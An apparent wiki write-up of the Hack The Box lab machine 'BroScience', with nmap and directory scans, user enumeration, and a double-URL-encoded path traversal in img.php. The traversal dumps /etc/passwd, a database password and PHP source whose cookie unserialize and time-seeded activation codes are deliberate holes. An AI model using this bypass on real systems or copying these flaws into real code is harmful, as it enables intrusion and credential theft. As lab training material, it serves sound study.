No edit summary |
m (Protected "BroScience" ([Edit=Allow only administrators] (indefinite) [Move=Allow only administrators] (indefinite))) |
||
(6 intermediate revisions by one other user not shown) | |||
Line 67: | Line 67: | ||
manual [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 80ms] | manual [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 80ms] | ||
server-status [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 101ms] | server-status [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 101ms] | ||
</syntaxhighlight> | |||
===Username Enumeration=== | |||
<syntaxhighlight lang="powershell"> | |||
# https://broscience.htb/user.php | |||
# URL states missing ID Value | |||
# https://broscience.htb/user.php?id=1 | |||
administrator | |||
administrator@broscience.htb | |||
# https://broscience.htb/user.php?id=2 | |||
bill | |||
bill@broscience.htb | |||
# https://broscience.htb/user.php?id=3 | |||
michael | |||
michael@broscience.htb | |||
# https://broscience.htb/user.php?id=4 | |||
john | |||
john@broscience.htb | |||
# https://broscience.htb/user.php?id=5 | |||
dmytro | |||
dmytro@broscience.htb | |||
</syntaxhighlight> | |||
===/includes/=== | |||
<syntaxhighlight lang="powershell"> | |||
# img.php states | |||
Error: Missing 'path' parameter. | |||
# /includes/img.php?path=../../../../etc/passwd | |||
Error: Attack detected. | |||
# Single URL Encode | |||
# /includes/img.php?path=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 | |||
Error: Attack detected. | |||
# Double URL Encode | |||
# GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34 | |||
root:x:0:0:root:/root:/bin/bash | |||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | |||
bin:x:2:2:bin:/bin:/usr/sbin/nologin | |||
sys:x:3:3:sys:/dev:/usr/sbin/nologin | |||
sync:x:4:65534:sync:/bin:/bin/sync | |||
games:x:5:60:games:/usr/games:/usr/sbin/nologin | |||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin | |||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin | |||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin | |||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin | |||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin | |||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin | |||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin | |||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin | |||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin | |||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin | |||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin | |||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin | |||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin | |||
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin | |||
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin | |||
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false | |||
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin | |||
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin | |||
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin | |||
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin | |||
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin | |||
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin | |||
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin | |||
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false | |||
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin | |||
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin | |||
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin | |||
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin | |||
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false | |||
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash | |||
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin | |||
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash | |||
_laurel:x:998:998::/var/log/laurel:/bin/false | |||
</syntaxhighlight> | |||
db_connect | |||
<syntaxhighlight lang="powershell"> | |||
# GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%39%25%36%65%25%36%33%25%36%63%25%37%35%25%36%34%25%36%35%25%37%33%25%32%66%25%36%34%25%36%32%25%35%66%25%36%33%25%36%66%25%36%65%25%36%65%25%36%35%25%36%33%25%37%34%25%32%65%25%37%30%25%36%38%25%37%30 | |||
HTTP/1.1 200 OK | |||
Date: Sun, 05 Feb 2023 20:08:11 GMT | |||
Server: Apache/2.4.54 (Debian) | |||
Content-Length: 337 | |||
Connection: close | |||
Content-Type: image/png | |||
<?php | |||
$db_host = "localhost"; | |||
$db_port = "5432"; | |||
$db_name = "broscience"; | |||
$db_user = "dbuser"; | |||
$db_pass = "RangeOfMotion%777"; | |||
$db_salt = "NaCl"; | |||
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}"); | |||
if (!$db_conn) { | |||
die("<b>Error</b>: Unable to connect to database"); | |||
} | |||
?> | |||
</syntaxhighlight> | |||
utils.php | |||
<syntaxhighlight lang="powershell"> | |||
GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%39%25%36%65%25%36%33%25%36%63%25%37%35%25%36%34%25%36%35%25%37%33%25%32%66%25%37%35%25%37%34%25%36%39%25%36%63%25%37%33%25%32%65%25%37%30%25%36%38%25%37%30 | |||
HTTP/1.1 200 OK | |||
Date: Sun, 05 Feb 2023 20:10:07 GMT | |||
Server: Apache/2.4.54 (Debian) | |||
Content-Length: 3060 | |||
Connection: close | |||
Content-Type: image/png | |||
<?php | |||
function generate_activation_code() { | |||
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; | |||
srand(time()); | |||
$activation_code = ""; | |||
for ($i = 0; $i < 32; $i++) { | |||
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)]; | |||
} | |||
return $activation_code; | |||
} | |||
// Source: https://stackoverflow.com/a/4420773 (Slightly adapted) | |||
function rel_time($from, $to = null) { | |||
$to = (($to === null) ? (time()) : ($to)); | |||
$to = ((is_int($to)) ? ($to) : (strtotime($to))); | |||
$from = ((is_int($from)) ? ($from) : (strtotime($from))); | |||
$units = array | |||
( | |||
"year" => 29030400, // seconds in a year (12 months) | |||
"month" => 2419200, // seconds in a month (4 weeks) | |||
"week" => 604800, // seconds in a week (7 days) | |||
"day" => 86400, // seconds in a day (24 hours) | |||
"hour" => 3600, // seconds in an hour (60 minutes) | |||
"minute" => 60, // seconds in a minute (60 seconds) | |||
"second" => 1 // 1 second | |||
); | |||
$diff = abs($from - $to); | |||
if ($diff < 1) { | |||
return "Just now"; | |||
} | |||
$suffix = (($from > $to) ? ("from now") : ("ago")); | |||
$unitCount = 0; | |||
$output = ""; | |||
foreach($units as $unit => $mult) | |||
if($diff >= $mult && $unitCount < 1) { | |||
$unitCount += 1; | |||
// $and = (($mult != 1) ? ("") : ("and ")); | |||
$and = ""; | |||
$output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s")); | |||
$diff -= intval($diff / $mult) * $mult; | |||
} | |||
$output .= " ".$suffix; | |||
$output = substr($output, strlen(", ")); | |||
return $output; | |||
} | |||
class UserPrefs { | |||
public $theme; | |||
public function __construct($theme = "light") { | |||
$this->theme = $theme; | |||
} | |||
} | |||
function get_theme() { | |||
if (isset($_SESSION['id'])) { | |||
if (!isset($_COOKIE['user-prefs'])) { | |||
$up_cookie = base64_encode(serialize(new UserPrefs())); | |||
setcookie('user-prefs', $up_cookie); | |||
} else { | |||
$up_cookie = $_COOKIE['user-prefs']; | |||
} | |||
$up = unserialize(base64_decode($up_cookie)); | |||
return $up->theme; | |||
} else { | |||
return "light"; | |||
} | |||
} | |||
function get_theme_class($theme = null) { | |||
if (!isset($theme)) { | |||
$theme = get_theme(); | |||
} | |||
if (strcmp($theme, "light")) { | |||
return "uk-light"; | |||
} else { | |||
return "uk-dark"; | |||
} | |||
} | |||
function set_theme($val) { | |||
if (isset($_SESSION['id'])) { | |||
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val)))); | |||
} | |||
} | |||
class Avatar { | |||
public $imgPath; | |||
public function __construct($imgPath) { | |||
$this->imgPath = $imgPath; | |||
} | |||
public function save($tmp) { | |||
$f = fopen($this->imgPath, "w"); | |||
fwrite($f, file_get_contents($tmp)); | |||
fclose($f); | |||
} | |||
} | |||
class AvatarInterface { | |||
public $tmp; | |||
public $imgPath; | |||
public function __wakeup() { | |||
$a = new Avatar($this->imgPath); | |||
$a->save($this->tmp); | |||
} | |||
} | |||
?> | |||
</syntaxhighlight> | |||
activate.php | |||
<syntaxhighlight lang="powershell"> | |||
# GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%31%25%36%33%25%37%34%25%36%39%25%37%36%25%36%31%25%37%34%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30 | |||
HTTP/1.1 200 OK | |||
Date: Sun, 05 Feb 2023 20:15:27 GMT | |||
Server: Apache/2.4.54 (Debian) | |||
Content-Length: 2026 | |||
Connection: close | |||
Content-Type: image/png | |||
<?php | |||
session_start(); | |||
// Check if user is logged in already | |||
if (isset($_SESSION['id'])) { | |||
header('Location: /index.php'); | |||
} | |||
if (isset($_GET['code'])) { | |||
// Check if code is formatted correctly (regex) | |||
if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) { | |||
// Check for code in database | |||
include_once 'includes/db_connect.php'; | |||
$res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1'); | |||
$res = pg_execute($db_conn, "check_code_query", array($_GET['code'])); | |||
if (pg_num_rows($res) == 1) { | |||
// Check if account already activated | |||
$row = pg_fetch_row($res); | |||
if (!(bool)$row[1]) { | |||
// Activate account | |||
$res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1'); | |||
$res = pg_execute($db_conn, "activate_account_query", array($row[0])); | |||
$alert = "Account activated!"; | |||
$alert_type = "success"; | |||
} else { | |||
$alert = 'Account already activated.'; | |||
} | |||
} else { | |||
$alert = "Invalid activation code."; | |||
} | |||
} else { | |||
$alert = "Invalid activation code."; | |||
} | |||
} else { | |||
$alert = "Missing activation code."; | |||
} | |||
?> | |||
<html> | |||
<head> | |||
<title>BroScience : Activate account</title> | |||
<?php include_once 'includes/header.php'; ?> | |||
</head> | |||
<body> | |||
<?php include_once 'includes/navbar.php'; ?> | |||
<div class="uk-container uk-container-xsmall"> | |||
<?php | |||
// Display any alerts | |||
if (isset($alert)) { | |||
?> | |||
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>"> | |||
<a class="uk-alert-close" uk-close></a> | |||
<?=$alert?> | |||
</div> | |||
<?php | |||
} | |||
?> | |||
</div> | |||
</body> | |||
</html> | |||
</syntaxhighlight> | </syntaxhighlight> |
Latest revision as of 20:40, 10 April 2023
Box Information
Network: Hack The Box
Operating System: Linux
Release Date: 7 January 2023
Creator: bmdyy
Difficulty: Medium
Points: 30
Enumeration
Nmap
# Nmap 7.93 scan initiated Thu Jan 26 19:36:36 2023 as: nmap -sCV -oA nmap/broscience 10.129.5.153
Nmap scan report for 10.129.5.153
Host is up (0.077s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
| 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
|_ 256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
80/tcp open http Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
|_ssl-date: TLS randomness does not represent time
|_http-title: BroScience : Home
|_http-server-header: Apache/2.4.54 (Debian)
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 26 19:37:09 2023 -- 1 IP address (1 host up) scanned in 32.28 seconds
Directory Scan
________________________________________________ [15/68]
:: Method : GET
:: URL : https://broscience.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
images [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 131ms]
includes [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 104ms]
styles [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 115ms]
javascript [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 73ms]
manual [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 80ms]
server-status [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 101ms]
Username Enumeration
# https://broscience.htb/user.php
# URL states missing ID Value
# https://broscience.htb/user.php?id=1
administrator
administrator@broscience.htb
# https://broscience.htb/user.php?id=2
bill
bill@broscience.htb
# https://broscience.htb/user.php?id=3
michael
michael@broscience.htb
# https://broscience.htb/user.php?id=4
john
john@broscience.htb
# https://broscience.htb/user.php?id=5
dmytro
dmytro@broscience.htb
/includes/
# img.php states
Error: Missing 'path' parameter.
# /includes/img.php?path=../../../../etc/passwd
Error: Attack detected.
# Single URL Encode
# /includes/img.php?path=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
Error: Attack detected.
# Double URL Encode
# GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
db_connect
# GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%39%25%36%65%25%36%33%25%36%63%25%37%35%25%36%34%25%36%35%25%37%33%25%32%66%25%36%34%25%36%32%25%35%66%25%36%33%25%36%66%25%36%65%25%36%65%25%36%35%25%36%33%25%37%34%25%32%65%25%37%30%25%36%38%25%37%30
HTTP/1.1 200 OK
Date: Sun, 05 Feb 2023 20:08:11 GMT
Server: Apache/2.4.54 (Debian)
Content-Length: 337
Connection: close
Content-Type: image/png
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
utils.php
GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%39%25%36%65%25%36%33%25%36%63%25%37%35%25%36%34%25%36%35%25%37%33%25%32%66%25%37%35%25%37%34%25%36%39%25%36%63%25%37%33%25%32%65%25%37%30%25%36%38%25%37%30
HTTP/1.1 200 OK
Date: Sun, 05 Feb 2023 20:10:07 GMT
Server: Apache/2.4.54 (Debian)
Content-Length: 3060
Connection: close
Content-Type: image/png
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
$to = (($to === null) ? (time()) : ($to));
$to = ((is_int($to)) ? ($to) : (strtotime($to)));
$from = ((is_int($from)) ? ($from) : (strtotime($from)));
$units = array
(
"year" => 29030400, // seconds in a year (12 months)
"month" => 2419200, // seconds in a month (4 weeks)
"week" => 604800, // seconds in a week (7 days)
"day" => 86400, // seconds in a day (24 hours)
"hour" => 3600, // seconds in an hour (60 minutes)
"minute" => 60, // seconds in a minute (60 seconds)
"second" => 1 // 1 second
);
$diff = abs($from - $to);
if ($diff < 1) {
return "Just now";
}
$suffix = (($from > $to) ? ("from now") : ("ago"));
$unitCount = 0;
$output = "";
foreach($units as $unit => $mult)
if($diff >= $mult && $unitCount < 1) {
$unitCount += 1;
// $and = (($mult != 1) ? ("") : ("and "));
$and = "";
$output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
$diff -= intval($diff / $mult) * $mult;
}
$output .= " ".$suffix;
$output = substr($output, strlen(", "));
return $output;
}
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
function get_theme_class($theme = null) {
if (!isset($theme)) {
$theme = get_theme();
}
if (strcmp($theme, "light")) {
return "uk-light";
} else {
return "uk-dark";
}
}
function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
?>
activate.php
# GET /includes/img.php?path=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%31%25%36%33%25%37%34%25%36%39%25%37%36%25%36%31%25%37%34%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30
HTTP/1.1 200 OK
Date: Sun, 05 Feb 2023 20:15:27 GMT
Server: Apache/2.4.54 (Debian)
Content-Length: 2026
Connection: close
Content-Type: image/png
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
if (isset($_GET['code'])) {
// Check if code is formatted correctly (regex)
if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
// Check for code in database
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
$res = pg_execute($db_conn, "check_code_query", array($_GET['code']));
if (pg_num_rows($res) == 1) {
// Check if account already activated
$row = pg_fetch_row($res);
if (!(bool)$row[1]) {
// Activate account
$res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
$res = pg_execute($db_conn, "activate_account_query", array($row[0]));
$alert = "Account activated!";
$alert_type = "success";
} else {
$alert = 'Account already activated.';
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Missing activation code.";
}
?>
<html>
<head>
<title>BroScience : Activate account</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
</div>
</body>
</html>